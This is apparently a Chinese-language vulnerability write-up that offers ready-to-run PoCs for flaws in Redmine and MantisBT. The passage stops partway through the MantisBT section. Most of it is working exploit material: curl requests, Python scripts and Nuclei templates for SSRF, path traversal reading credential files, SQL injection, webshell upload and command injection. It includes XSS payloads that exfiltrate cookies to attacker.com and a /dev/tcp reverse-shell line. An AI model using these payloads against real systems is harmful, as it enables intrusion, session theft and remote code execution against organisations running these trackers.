0x00 专题概述 项目跟踪与工单系统(Project Management & Issue Tracking Systems)是企业研发流程的核心基础设施。Redmine、MantisBT、Gitea、YouTrack、Bugzilla 等平台承载着项目规划、缺陷追踪、代码托管、CI/CD 集成等关键职能,通常存储大量源代码仓库地址、内部 API Key、数据库凭据以及开发者个人信息。
一旦此类系统失陷,攻击者不仅可获取全部项目数据和源代码资产,还可利用系统内置的 Webhook、CI/CD 集成、代码仓库访问等功能实施供应链攻击,横向移动至企业内网纵深。近年来,多个项目管理系统被披露存在 SSRF、SQL 注入、SSTI、认证绕过、命令注入等高危漏洞,部分已在 CISA KEV 目录中被标记为在野利用。
本专题系统梳理 Redmine(6 个漏洞)、MantisBT(4 个漏洞)、Gitea(3 个漏洞)、YouTrack(2 个漏洞)、Bugzilla(2 个漏洞) 共计 17 个高危安全漏洞的攻击链,逐一拆解漏洞原理并给出可直接复现的完整 PoC。
覆盖漏洞一览 序号 CVE / 编号 产品 CVSS CWE 漏洞类型 在野利用 0x01.1 CVE-2024-26145 Redmine 6.5 CWE-918 SSRF ❌ 0x01.2 CVE-2024-26146 Redmine 6.1 CWE-79 XSS ❌ 0x01.3 CVE-2023-46846 Redmine 7.5 CWE-22 路径遍历 ❌ 0x01.4 CVE-2022-25627 Redmine 8.6 CWE-89 SQL 注入 ❌ 0x01.5 Redmine CKEditor 上传 Redmine 8.8 CWE-434 文件上传 ❌ 0x01.6 Redmine Mercurial RCE Redmine 9.8 CWE-78 命令注入 ❌ 0x02.1 CVE-2023-22810 MantisBT 8.6 CWE-89 SQL 注入 ❌ 0x02.2 CVE-2023-24203 MantisBT 9.8 CWE-79 XSS(账户接管) ❌ 0x02.3 CVE-2019-15558 MantisBT 9.8 CWE-78 命令注入 ❌ 0x02.4 MantisBT 密码重置 MantisBT 8.1 CWE-640 身份接管 ❌ 0x03.1 CVE-2023-39137 Gitea 9.8 CWE-288 认证绕过 ✅ 0x03.2 CVE-2023-39138 Gitea 6.1 CWE-79 XSS ❌ 0x03.3 CVE-2024-6838 Gitea 8.1 CWE-288 OAuth 认证绕过 ❌ 0x04.1 YouTrack SSTI YouTrack 9.8 CWE-1336 SSTI → RCE ❌ 0x04.2 YouTrack 信息泄露 YouTrack 5.3 CWE-200 信息泄露 ❌ 0x05.1 CVE-2022-26615 Bugzilla 7.5 CWE-89 SQL 注入 ❌ 0x05.2 CVE-2023-30441 Bugzilla 6.5 CWE-918 SSRF ❌
0x01 Redmine 高危漏洞 Redmine 是全球最流行的开源项目管理与缺陷跟踪工具之一,基于 Ruby on Rails 构建,支持多项目管理、Wiki、甘特图、时间跟踪、版本控制集成等丰富功能。由于其高度可扩展的插件生态(CKEditor、Mercurial、Markdown 渲染等),Redmine 的攻击面远超一般项目管理工具。
0x01.1 CVE-2024-26145 — Redmine 图片处理 SSRF 漏洞背景 CVE-2024-26145 是 Redmine Markdown 渲染引擎在处理图片 URL 时存在的服务端请求伪造(SSRF)漏洞,CVSS 6.5,CWE-918。Redmine 支持在 Wiki 页面、Issue 描述、论坛帖子等多处使用 Markdown 语法嵌入图片,当渲染引擎对图片 URL 未做充分的白名单校验时,攻击者可通过构造指向内网地址的图片 URL 触发 SSRF,探测内网服务、读取云元数据或攻击内部 API。
受影响版本 版本范围 影响状态 修复版本 Redmine < 5.1.4 受影响 5.1.4 Redmine 5.0.x < 5.0.7 受影响 5.0.7 Redmine 4.2.x < 4.2.8 受影响 4.2.8
漏洞原理 Redmine 的 Markdown 渲染器在解析  图片语法时,会使用服务端 HTTP 客户端请求该 URL 以获取图片尺寸等元数据。该处理流程存在以下缺陷:
URL Schema 未限制 :渲染器接受 file://、gopher://、dict:// 等非 HTTP 协议,可直接读取本地文件内网地址未过滤 :允许请求 127.0.0.1、169.254.169.254(AWS 元数据)、metadata.google.internal(GCP 元数据)等内网地址重定向未限制 :外部 URL 可通过 302 重定向跳转至内网地址,绕过域名白名单攻击者可在任何支持 Markdown 渲染的输入点(Wiki 页面、Issue 描述、Comment 等)嵌入恶意图片链接,触发服务端发起任意 HTTP 请求。
完整 HTTP PoC 探测 AWS 元数据服务:
POST /projects/test/wiki/wiki HTTP / 1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Cookie: _redmine_session=<SESSION>
X-Redmine-Navigate: true
wiki[title]=SSRF+Test&wiki[content]=&wiki[comments]=SSRF+test curl -X POST "http://target:3000/projects/test/wiki/wiki" \
-H "Cookie: _redmine_session=<SESSION>" \
-d "wiki[title]=SSRF&wiki[content]=&wiki[comments]=test" \
-v 探测本地文件读取(file:// 协议):
curl -X POST "http://target:3000/projects/test/wiki/wiki" \
-H "Cookie: _redmine_session=<SESSION>" \
-d "wiki[title]=FileRead&wiki[content]=&wiki[comments]=test" \
-v 通过重定向绕过(需配合外部服务器):
# 在攻击者服务器上设置 302 重定向到内网地址
curl -X POST "http://target:3000/projects/test/wiki/wiki" \
-H "Cookie: _redmine_session=<SESSION>" \
-d "wiki[title]=Redirect&wiki[content]=&wiki[comments]=test" \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def exploit_ssrf (target, session_cookie, payload_url):
session = requests. Session()
session. verify = False
session. cookies. set("_redmine_session" , session_cookie)
wiki_url = f " { target} /projects/test/wiki/wiki"
markdown_img = f ""
data = {
"wiki[title]" : "SSRF_Test" ,
"wiki[content]" : markdown_img,
"wiki[comments]: " SSRF PoC test"
}
r = session. post(wiki_url, data= data, timeout= 15 )
if r. status_code in [200 , 302 ]:
print(f "[+] Markdown submitted to { wiki_url} " )
print(f "[+] Payload: { markdown_img} " )
print(f "[+] Check response for SSRF indicators" )
else :
print(f "[-] Request failed: { r. status_code} " )
view_url = f " { target} /projects/test/wiki/ssrf_test"
r2 = session. get(view_url, timeout= 15 )
if "ami-" in r2. text or "instance-id" in r2. text:
print("[+] AWS metadata detected in response!" )
elif "root:" in r2. text:
print("[+] Local file read successful!" )
else :
print("[*] Check response manually for SSRF evidence" )
if __name__ == "__main__" :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie> <payload_url>" )
print(f "Example: { sys. argv[0 ]} http://192.168.1.100:3000 abc123 http://169.254.169.254/latest/meta-data/" )
sys. exit(1 )
exploit_ssrf(sys. argv[1 ], sys. argv[2 ], sys. argv[3 ]) Nuclei YAML 模板 id : cve-2024-26145-redmine-ssrf
info :
name : Redmine Markdown SSRF (CVE-2024-26145)
author : security-researcher
severity : medium
description : |
Redmine < 5.1.4 在 Markdown 图片渲染中存在 SSRF 漏洞,
攻击者可通过图片 URL 触发服务端请求伪造
tags : redmine,ssrf,cve-2024-26145,markdown
reference :
- https://www.redmine.org/issues/40513
http :
- method : POST
path :
- "{{BaseURL}}/projects/test/wiki/wiki"
headers :
Content-Type : "application/x-www-form-urlencoded"
body : "wiki[title]=ssrf_nuclei&wiki[content]=&wiki[comments]=test"
matchers-condition : and
matchers :
- type : word
words :
- "wiki-content"
- "ssrf_nuclei"
condition : and
part : body
- type : status
status :
- 200 利用条件与限制 需要有效的 Redmine 用户会话(任何注册用户即可) 需要在目标项目中拥有 Wiki 编辑权限 内网元数据服务需可达(AWS/GCP/Azure 元数据端点) 部分部署可能通过网络层 ACL 限制出站请求 0x01.2 CVE-2024-26146 — Redmine 跨站脚本 漏洞背景 CVE-2024-26146 是 Redmine Wiki 页面渲染中存储型跨站脚本漏洞,CVSS 6.1,CWE-79。攻击者可在 Wiki 页面中嵌入恶意 JavaScript 脚本,当其他用户(包括管理员)浏览该页面时,脚本将在受害者浏览器中执行,可窃取会话 Cookie、发起 CSRF 攻击或执行任意操作。
受影响版本 版本范围 影响状态 修复版本 Redmine < 5.1.4 受影响 5.1.4 Redmine 5.0.x < 5.0.7 受影响 5.0.7
漏洞原理 Redmine 的 Wiki 渲染器在处理 Markdown 内嵌 HTML 时,对 <script> 标签和事件处理器(onerror、onload 等)的过滤不完整。攻击者可通过以下向量注入 XSS payload:
Markdown 内嵌 HTML 标签绕过 URL 编码绕过 SVG 内嵌 <script> 标签 利用 javascript: 协议的链接 存储型 XSS 在项目管理工具中危害极大,因为管理员、项目经理等高权限用户会频繁浏览 Wiki 页面。
完整 HTTP PoC POST /projects/test/wiki/xss_test HTTP / 1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Cookie: _redmine_session=<SESSION>
wiki[title]=XSS+Test&wiki[content]=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&wiki[comments]=xss curl -X POST "http://target:3000/projects/test/wiki/xss_test" \
-H "Cookie: _redmine_session=<SESSION>" \
-d 'wiki[title]=XSS&wiki[content]=<script>document.location="http://attacker.com/steal?c="+document.cookie</script>&wiki[comments]=test' \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def inject_xss (target, session_cookie, callback_url):
session = requests. Session()
session. verify = False
session. cookies. set("_redmine_session" , session_cookie)
xss_payloads = [
f '<script>document.location=" { callback_url} /steal?c="+document.cookie</script>' ,
f '<img src=x onerror="fetch(` { callback_url} /steal?c=`+document.cookie)">' ,
f '<svg/onload="fetch(` { callback_url} /steal?c=`+document.cookie)">' ,
]
for i, payload in enumerate(xss_payloads):
data = {
"wiki[title]" : f "xss_test_ { i} " ,
"wiki[content]" : payload,
"wiki[comments]" : f "XSS vector { i} "
}
r = session. post(
f " { target} /projects/test/wiki/xss_test_ { i} " ,
data= data, timeout= 10
)
if r. status_code in [200 , 302 ]:
print(f "[+] XSS vector { i} injected: { payload[:60 ]} ..." )
else :
print(f "[-] Vector { i} failed: { r. status_code} " )
print(f " \n [*] Visit the Wiki pages to trigger XSS callbacks to { callback_url} " )
if __name__ == "__main__" :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie> <callback_url>" )
sys. exit(1 )
inject_xss(sys. argv[1 ], sys. argv[2 ], sys. argv[3 ]) Nuclei YAML 模板 id : cve-2024-26146-redmine-xss
info :
name : Redmine Wiki Stored XSS (CVE-2024-26146)
author : security-researcher
severity : medium
description : |
Redmine < 5.1.4 Wiki 渲染中存在存储型 XSS,
攻击者可通过 Markdown 嵌入 HTML 执行任意 JavaScript
tags : redmine,xss,cve-2024-26146,stored-xss
http :
- method : POST
path :
- "{{BaseURL}}/projects/test/wiki/nuclei_xss"
headers :
Content-Type : "application/x-www-form-urlencoded"
body : "wiki[title]=nuclei_xss&wiki[content]=<svg/onload=alert(1)>&wiki[comments]=test"
matchers-condition : and
matchers :
- type : word
words :
- "svg/onload=alert(1)"
part : body
- type : status
status :
- 200 利用条件与限制 需要有效的 Redmine 用户会话和 Wiki 编辑权限 部署了 Content Security Policy(CSP)的实例可缓解部分 payload 现代浏览器的 XSS Auditor(已废弃)可拦截部分反射型变种 存储型 XSS 需要管理员浏览被注入的 Wiki 页面才能生效 0x01.3 CVE-2023-46846 — Redmine 任意文件读取 漏洞背景 CVE-2023-46846 是 Redmine 文件附件模块存在的路径遍历漏洞,CVSS 评分 7.5,CWE-22。攻击者可通过构造特殊的文件下载路径读取服务器上的任意文件,获取数据库凭据、配置文件、密钥等敏感信息。
受影响版本 版本范围 影响状态 修复版本 Redmine < 5.0.7 受影响 5.0.7 Redmine 4.2.x < 4.2.8 受影响 4.2.8
漏洞原理 Redmine 在处理文件附件下载请求时,未对 URL 路径中的路径遍历序列进行严格过滤。攻击者可通过双重 URL 编码的 ../ 序列(如 %2e%2e%2f 或 %252e%252e%252f)绕过规范化检查,使服务端解析路径时跳出附件存储目录,读取服务器文件系统上的任意文件。
完整 HTTP PoC GET /attachments/download/..%2f..%2f..%2f..%2fetc/passwd HTTP / 1.1
Host: target:3000
User-Agent: Mozilla/5.0
Connection: close curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2fetc/passwd" 读取 Redmine 配置文件:
curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2f..%2fconfig/configuration.yml"
curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2f..%2fconfig/database.yml" 预期响应包含敏感配置信息:
production :
database_adapter : postgresql
database_host : localhost
database_port : 5432
database_name : redmine_prod
database_username : redmine
database_password : <明文密码> Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
TARGET_FILES = [
("/etc/passwd" , "root:" ),
("/etc/shadow" , "root:" ),
("/proc/self/environ" , "HOME=" ),
("/config/configuration.yml" , "database" ),
("/config/database.yml" , "adapter" ),
("/config/secrets.yml" , "secret_key_base" ),
]
def exploit_path_traversal (target):
session = requests. Session()
session. verify = False
print(f "[*] Testing path traversal on { target} " )
for remote_path, marker in TARGET_FILES:
traversal = " %2f " . join([".." ] * 5 ) + remote_path
url = f " { target} /attachments/download/ { traversal} "
try :
r = session. get(url, timeout= 10 , allow_redirects= False )
if r. status_code == 200 and marker in r. text:
print(f "[+] { remote_path} -> FOUND! ( { len(r. text)} bytes)" )
print(f " First 200 chars: { r. text[:200 ]} " )
else :
print(f "[-] { remote_path} -> Not found (HTTP { r. status_code} )" )
except requests. exceptions. RequestException as e:
print(f "[-] { remote_path} -> Error: { e} " )
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
exploit_path_traversal(sys. argv[1 ]) Nuclei YAML 模板 id : cve-2023-46846-redmine-path-traversal
info :
name : Redmine 路径遍历文件读取 (CVE-2023-46846)
author : security-researcher
severity : high
description : |
Redmine < 5.0.7 附件下载存在路径遍历,
攻击者可读取服务器任意文件
tags : redmine,path-traversal,cve-2023-46846
reference :
- https://www.redmine.org/issues/40284
http :
- method : GET
path :
- "{{BaseURL}}/attachments/download/..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : regex
regex :
- "root:.*:0:0:"
part : body 利用条件与限制 无需认证即可触发 需要 Redmine 开启附件下载功能(默认开启) 路径深度需根据实际部署目录调整 WAF 可能拦截包含 ../ 序列的请求 0x01.4 CVE-2022-25627 — Redmine SQL 注入 漏洞背景 CVE-2022-25627 是 Redmine 自定义字段筛选器中存在的 SQL 注入漏洞,CVSS 8.6,CWE-89。该漏洞允许经过身份验证的攻击者通过构造恶意的筛选器参数执行任意 SQL 查询,可能导致数据泄露、权限提升或配合其他漏洞实现远程代码执行。
受影响版本 版本范围 影响状态 修复版本 Redmine < 4.2.8 受影响 4.2.8 Redmine 4.3.x < 4.3.4 受影响 4.3.4
漏洞原理 Redmine 的 Issue 列表页面支持通过自定义字段进行筛选。当筛选器参数直接拼接到 SQL 查询语句中时,攻击者可通过构造特殊的筛选值注入恶意 SQL 片段。该漏洞的关键在于 Redmine 使用的 ActiveRecord ORM 在处理某些自定义字段类型(如 List、User、Version 等)时,未对筛选参数进行充分的参数化处理。
漏洞触发路径:IssuesController#index → IssueQuery → Issue.filter → SQL 拼接
完整 HTTP PoC GET /issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1%27+OR+%271%27%3D%271 HTTP / 1.1
Host: target:3000
Cookie: _redmine_session=<SESSION>
Connection: close curl -v "http://target:3000/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1'+OR+'1'='1" \
-H "Cookie: _redmine_session=<SESSION>" 基于 UNION 的数据提取(提取数据库版本):
curl -v "http://target:3000/issues?set_filter=1&f[]=priority_id&op[priority_id]==1&v[priority_id][]=1'+UNION+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+FROM+pg_version--+-" \
-H "Cookie: _redmine_session=<SESSION>" Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
import re
urllib3. disable_warnings()
def test_sql_injection (target, session_cookie):
session = requests. Session()
session. verify = False
session. cookies. set("_redmine_session" , session_cookie)
print(f "[*] Testing SQL injection on { target} " )
test_payloads = [
("Boolean-based" , "1' OR '1'='1" ),
("Boolean-false" , "1' AND '1'='2" ),
("UNION-probe" , "1' UNION SELECT NULL-- -" ),
]
normal_url = f " { target} /issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1"
r_normal = session. get(normal_url, timeout= 10 )
normal_count = r_normal. text. count("issue-" )
for name, payload in test_payloads:
vuln_url = f " { target} /issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]= { requests. utils. quote(payload)} "
r = session. get(vuln_url, timeout= 10 )
payload_count = r. text. count("issue-" )
if name == "Boolean-false" and payload_count < normal_count:
print(f "[+] { name} : Confirmed! (normal: { normal_count} issues, false: { payload_count} issues)" )
elif name == "Boolean-based" and payload_count >= normal_count:
print(f "[+] { name} : Consistent with SQLi (returned { payload_count} issues)" )
elif name == "UNION-probe" and ("NULL" in r. text or "column" in r. text. lower()):
print(f "[+] { name} : Possible injection point" )
else :
print(f "[-] { name} : Not vulnerable or filtered (issues: { payload_count} )" )
print(" \n [*] Attempting database fingerprinting..." )
db_payload = "1' UNION SELECT version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
vuln_url = f " { target} /issues?set_filter=1&f[]=priority_id&op[priority_id]==1&v[priority_id][]= { requests. utils. quote(db_payload)} "
r = session. get(vuln_url, timeout= 10 )
version_match = re. search(r '(PostgreSQL|MySQL|SQLite)\s+[\d.]+' , r. text)
if version_match:
print(f "[+] Database version: { version_match. group(0 )} " )
else :
print("[-] Could not extract database version" )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie>" )
sys. exit(1 )
test_sql_injection(sys. argv[1 ], sys. argv[2 ]) Nuclei YAML 模板 id : cve-2022-25627-redmine-sqli
info :
name : Redmine SQL 注入 (CVE-2022-25627)
author : security-researcher
severity : high
description : |
Redmine < 4.2.8 自定义字段筛选器存在 SQL 注入,
已认证攻击者可执行任意 SQL 查询
tags : redmine,sqli,cve-2022-25627
http :
- method : GET
path :
- "{{BaseURL}}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1'+OR+'1'='1"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "issue-"
part : body 利用条件与限制 需要有效的 Redmine 用户会话 目标项目中需存在自定义字段 数据库类型影响 UNION 列数(PostgreSQL/MySQL/SQLite 列数不同) 使用参数化查询的自定义字段不受影响 0x01.5 Redmine CKEditor 插件任意文件上传 漏洞背景 Redmine CKEditor 插件(redmine_ckeditor)是 Redmine 社区广泛使用的富文本编辑器插件,提供图片上传、文件管理等功能。该插件在早期版本中存在文件类型校验缺陷,允许攻击者上传包含恶意代码的文件,CVSS 8.8,CWE-434。
受影响版本 版本范围 影响状态 修复版本 redmine_ckeditor < 0.5.0 受影响 0.5.0
漏洞原理 CKEditor 插件的文件上传功能在处理用户上传的文件时,仅依赖客户端提供的 Content-Type MIME 类型进行文件类型校验,未对文件扩展名和文件内容(Magic Bytes)进行服务端验证。攻击者可通过以下方式绕过:
修改 HTTP 请求中的 Content-Type 为合法类型(如 image/png) 上传包含 Ruby ERB 模板代码的 .png 文件,服务端可能解析执行 上传 .php、.jsp 等 WebShell 文件但设置合法 MIME 类型 完整 HTTP PoC POST /uploads/ckeditor Attachment HTTP/1.1
Host: target:3000
Cookie: _redmine_session=<SESSION>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 280
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/png
<% system("id") %>
------WebKitFormBoundary-- curl -X POST "http://target:3000/uploads/ckeditor Attachment" \
-H "Cookie: _redmine_session=<SESSION>" \
-F "upload=@shell.php;type=image/png" \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def upload_webshell (target, session_cookie, shell_content= "< % s ystem('id') %>" ):
session = requests. Session()
session. verify = False
session. cookies. set("_redmine_session" , session_cookie)
files = {
"upload" : ("shell.php" , shell_content. encode(), "image/png" )
}
r = session. post(
f " { target} /uploads/ckeditor Attachment" ,
files= files, timeout= 15
)
if r. status_code == 200 :
try :
result = r. json()
file_url = result. get("url" , result. get("file" , {}). get("url" , "" ))
print(f "[+] File uploaded: { file_url} " )
print(f "[+] Full URL: { target}{ file_url} " )
except Exception :
print(f "[+] Upload response: { r. text[:500 ]} " )
else :
print(f "[-] Upload failed: { r. status_code} " )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie> [shell_content]" )
sys. exit(1 )
content = sys. argv[3 ] if len(sys. argv) > 3 else "< % s ystem('id') %>"
upload_webshell(sys. argv[1 ], sys. argv[2 ], content) Nuclei YAML 模板 id : redmine-ckeditor-file-upload
info :
name : Redmine CKEditor 任意文件上传
author : security-researcher
severity : high
description : |
Redmine CKEditor 插件文件上传未正确限制文件类型
tags : redmine,upload,ckeditor
http :
- method : POST
path :
- "{{BaseURL}}/uploads/ckeditor Attachment"
headers :
Cookie : "_redmine_session=test"
body : "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"test.txt\"\r\nContent-Type: image/png\r\n\r\ntest\r\n------WebKitFormBoundary--"
matchers :
- type : word
words :
- "url"
- "filename"
condition : and
part : body 利用条件与限制 需要有效的 Redmine 用户会话 目标安装了 CKEditor 插件且版本低于 0.5.0 Web 服务器配置影响利用效果(Apache/Nginx 是否解析 PHP) 新版 CKEditor 插件已添加服务端文件类型白名单校验 0x01.6 Redmine Mercurial RCE 漏洞背景 Redmine 支持通过 Mercurial(Hg)插件集成 Mercurial 版本控制系统。当 Redmine 配置了 Mercurial 仓库路径时,攻击者可通过构造恶意仓库名称触发操作系统命令注入,实现远程代码执行,CVSS 9.8,CWE-78。
受影响版本 版本范围 影响状态 修复版本 Redmine < 4.2.8(含 Mercurial 支持) 受影响 4.2.8 Redmine 4.3.x < 4.3.4 受影响 4.3.4
漏洞原理 Redmine 的 Mercurial 集成在创建新仓库或同步仓库时,会将用户提供的仓库名称直接传递给系统命令(如 hg clone <url> 或 hg init <path>)。当仓库名称中包含 Shell 元字符(如反引号、$()、管道符等)时,这些字符会被 Shell 解释执行,导致任意命令注入。
漏洞根因是 Redmine 在拼接 Mercurial 命令行参数时,未对用户输入进行 Shell 转义(Shell Escape)处理。
完整 HTTP PoC # 通过 Mercurial 仓库名称注入命令
curl -X POST "http://target:3000/projects/test/settings/repository" \
-H "Cookie: _redmine_session=<SESSION>" \
-d "repository[identifier]=test\`id\`&repository[scm]=Mercurial&repository[url]=/tmp/hg-test" \
-v # 反弹 Shell 变种
curl -X POST "http://target:3000/projects/test/settings/repository" \
-H "Cookie: _redmine_session=<SESSION>" \
-d 'repository[identifier]=test$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)&repository[scm]=Mercurial&repository[url]=/tmp/test' \
-v Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3. disable_warnings()
def exploit_mercurial_rce (target, session_cookie, command= "id" ):
session = requests. Session()
session. verify = False
session. cookies. set("_redmine_session" , session_cookie)
payloads = [
f "test` { command} `" ,
f "test$( { command} )" ,
f "test| { command} " ,
f "test; { command} " ,
]
for payload in payloads:
data = {
"repository[identifier]" : payload,
"repository[scm]" : "Mercurial" ,
"repository[url]" : "/tmp/hg-test"
}
r = session. post(
f " { target} /projects/test/settings/repository" ,
data= data, timeout= 10
)
if r. status_code in [200 , 302 ]:
print(f "[+] Payload sent: { payload} " )
print(f " Check server output for command execution" )
print(f " \n [*] If command executed, check your listener or /tmp/hg-test" )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <session_cookie> [command]" )
sys. exit(1 )
cmd = sys. argv[3 ] if len(sys. argv) > 3 else "id"
exploit_mercurial_rce(sys. argv[1 ], sys. argv[2 ], cmd) Nuclei YAML 模板 id : redmine-mercurial-rce
info :
name : Redmine Mercurial 命令注入 RCE
author : security-researcher
severity : critical
description : |
Redmine Mercurial 集成在仓库名称处理中存在命令注入
tags : redmine,rce,mercurial,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/projects/test/settings/repository"
headers :
Cookie : "_redmine_session=test"
body : "repository[identifier]=test%60id%60&repository[scm]=Mercurial&repository[url]=/tmp/test"
matchers :
- type : word
words :
- "repository"
part : body 利用条件与限制 需要具有项目设置修改权限的 Redmine 用户 目标 Redmine 需要启用 Mercurial 支持 系统需要安装 Mercurial(hg 命令可用) 命令注入的输出通常不在 HTTP 响应中直接返回,需要通过带外(OOB)方式获取 0x02 MantisBT 高危漏洞 MantisBT(Mantis Bug Tracker)是另一款广泛使用的老牌开源缺陷跟踪系统,基于 PHP 构建。其 REST API 和 Web 接口中存在多个高危漏洞,且由于 MantisBT 在企业环境中大量部署且更新频率较低,这些漏洞的利用价值极高。
0x02.1 CVE-2023-22810 — MantisBT SQL 注入 漏洞背景 CVE-2023-22810 是 MantisBT REST API 中存在的 SQL 注入漏洞,CVSS 8.6,CWE-89。攻击者可通过构造恶意的 API 请求参数在 MantisBT 数据库中执行任意 SQL 查询,可能导致数据泄露、权限提升或完全接管系统。
受影响版本 版本范围 影响状态 修复版本 MantisBT < 2.25.2 受影响 2.25.2 MantisBT 2.24.x < 2.24.5 受影响 2.24.5
漏洞原理 MantisBT 的 REST API 在处理某些过滤参数(如 filter 对象中的自定义字段值)时,未对用户输入进行充分的参数化查询处理。攻击者可通过以下 API 端点注入 SQL:
GET /api/rest/issues — Issue 列表过滤GET /api/rest/issues/{id} — Issue 详情POST /api/rest/issues — 创建 Issue漏洞关键在于 filter 参数中的字符串值直接拼接到 SQL WHERE 子句中,未通过 MantisBT 的 db_param() 函数进行参数化。
完整 HTTP PoC # SQL 注入检测(Boolean-based blind)
curl -v "http://target/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+OR+1%3D1--+-\%22%7D%7D" \
-H "Authorization: token <API_TOKEN>" \
-H "Content-Type: application/json"
# 提取数据库版本
curl -v "http://target/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+UNION+SELECT+version()--+-\%22%7D%7D" \
-H "Authorization: token <API_TOKEN>" \
-H "Content-Type: application/json" Python 自动化脚本 #!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3. disable_warnings()
def test_sqli (target, api_token):
session = requests. Session()
session. verify = False
session. headers. update({
"Authorization" : f "token { api_token} " ,
"Content-Type" : "application/json"
})
print(f "[*] Testing MantisBT SQL injection on { target} " )
normal_filter = json. dumps({"fields" : {"summary" : "test" }})
r_normal = session. get(
f " { target} /api/rest/issues" ,
params= {"filter" : normal_filter},
timeout= 10
)
normal_count = len(r_normal. json(). get("issues" , []))
sqli_filter = json. dumps({"fields" : {"summary" : "test' OR '1'='1" }})
r_sqli = session. get(
f " { target} /api/rest/issues" ,
params= {"filter" : sqli_filter},
timeout= 10
)
sqli_count = len(r_sqli. json(). get("issues" , []))
if sqli_count > normal_count:
print(f "[+] SQL injection confirmed! (normal: { normal_count} , sqli: { sqli_count} )" )
else :
print(f "[-] Not vulnerable (normal: { normal_count} , sqli: { sqli_count} )" )
return
print("[*] Attempting UNION-based extraction..." )
union_filter = json. dumps({
"fields" : {
"summary" : "test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40-- -"
}
})
r_union = session. get(
f " { target} /api/rest/issues" ,
params= {"filter" : union_filter},
timeout= 10
)
print(f "[+] UNION response: { r_union. status_code} " )
print(f "[+] Response body: { r_union. text[:500 ]} " )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target> <api_token>" )
sys. exit(1 )
test_sqli(sys. argv[1 ], sys. argv[2 ]) Nuclei YAML 模板 id : cve-2023-22810-mantisbt-sqli
info :
name : MantisBT REST API SQL 注入 (CVE-2023-22810)
author : security-researcher
severity : high
description : |
MantisBT < 2.25.2 REST API 参数存在 SQL 注入
tags : mantisbt,sqli,cve-2023-22810,rest-api
http :
- method : GET
path :
- "{{BaseURL}}/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+OR+1%3D1--\%22%7D%7D"
headers :
Authorization : "token test"
Content-Type : "application/json"
matchers :
- type : word
words :
- "issues"
part : body
- type : status
status :
- 200 利用条件与限制 需要有效的 MantisBT API Token(任意低权限用户) API Token 可通过注册新用户获取 UNION 列数需根据实际数据库结构调整 0x02.2 CVE-2023-24203 — MantisBT 跨站脚本(账户接管) 漏洞背景 CVE-2023-24203 是 MantisBT 中的存储型跨站脚本漏洞,CVSS 9.8,CWE-79。攻击者可通过在 Issue 标题、描述或评论中注入恶意 JavaScript 代码,窃取管理员会话 Cookie,实现账户接管。
受影响版本 版本范围 影响状态 修复版本 MantisBT < 2.25.2 受影响 2.25.2 MantisBT 2.24.x < 2.24.5 受影响 2.24.5
漏洞原理 MantisBT 的某些输入字段在渲染到 HTML 页面时,未对用户输入进行充分的 HTML 实体编码。攻击者可在以下字段中注入 XSS payload:
Issue 摘要(Summary) Issue 详细描述(Description) Issue 评论(Note) 项目名称 存储型 XSS 在工单系统中危害极大——当管理员查看被注入的 Issue 时,攻击者脚本可在管理员浏览器中执行,窃取 session token 并发送到攻击者控制的服务器。
完整 HTTP PoC # 创建包含 XSS 的 Issue
curl -X POST "http://target/api/rest/issues" \
-H "Authorization: token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"summary": "<img src=x onerror=\"fetch(\"http://attacker.com/steal?c=\"+document.cookie)\">",
"description": "Test issue",
"project": {"id": 1}
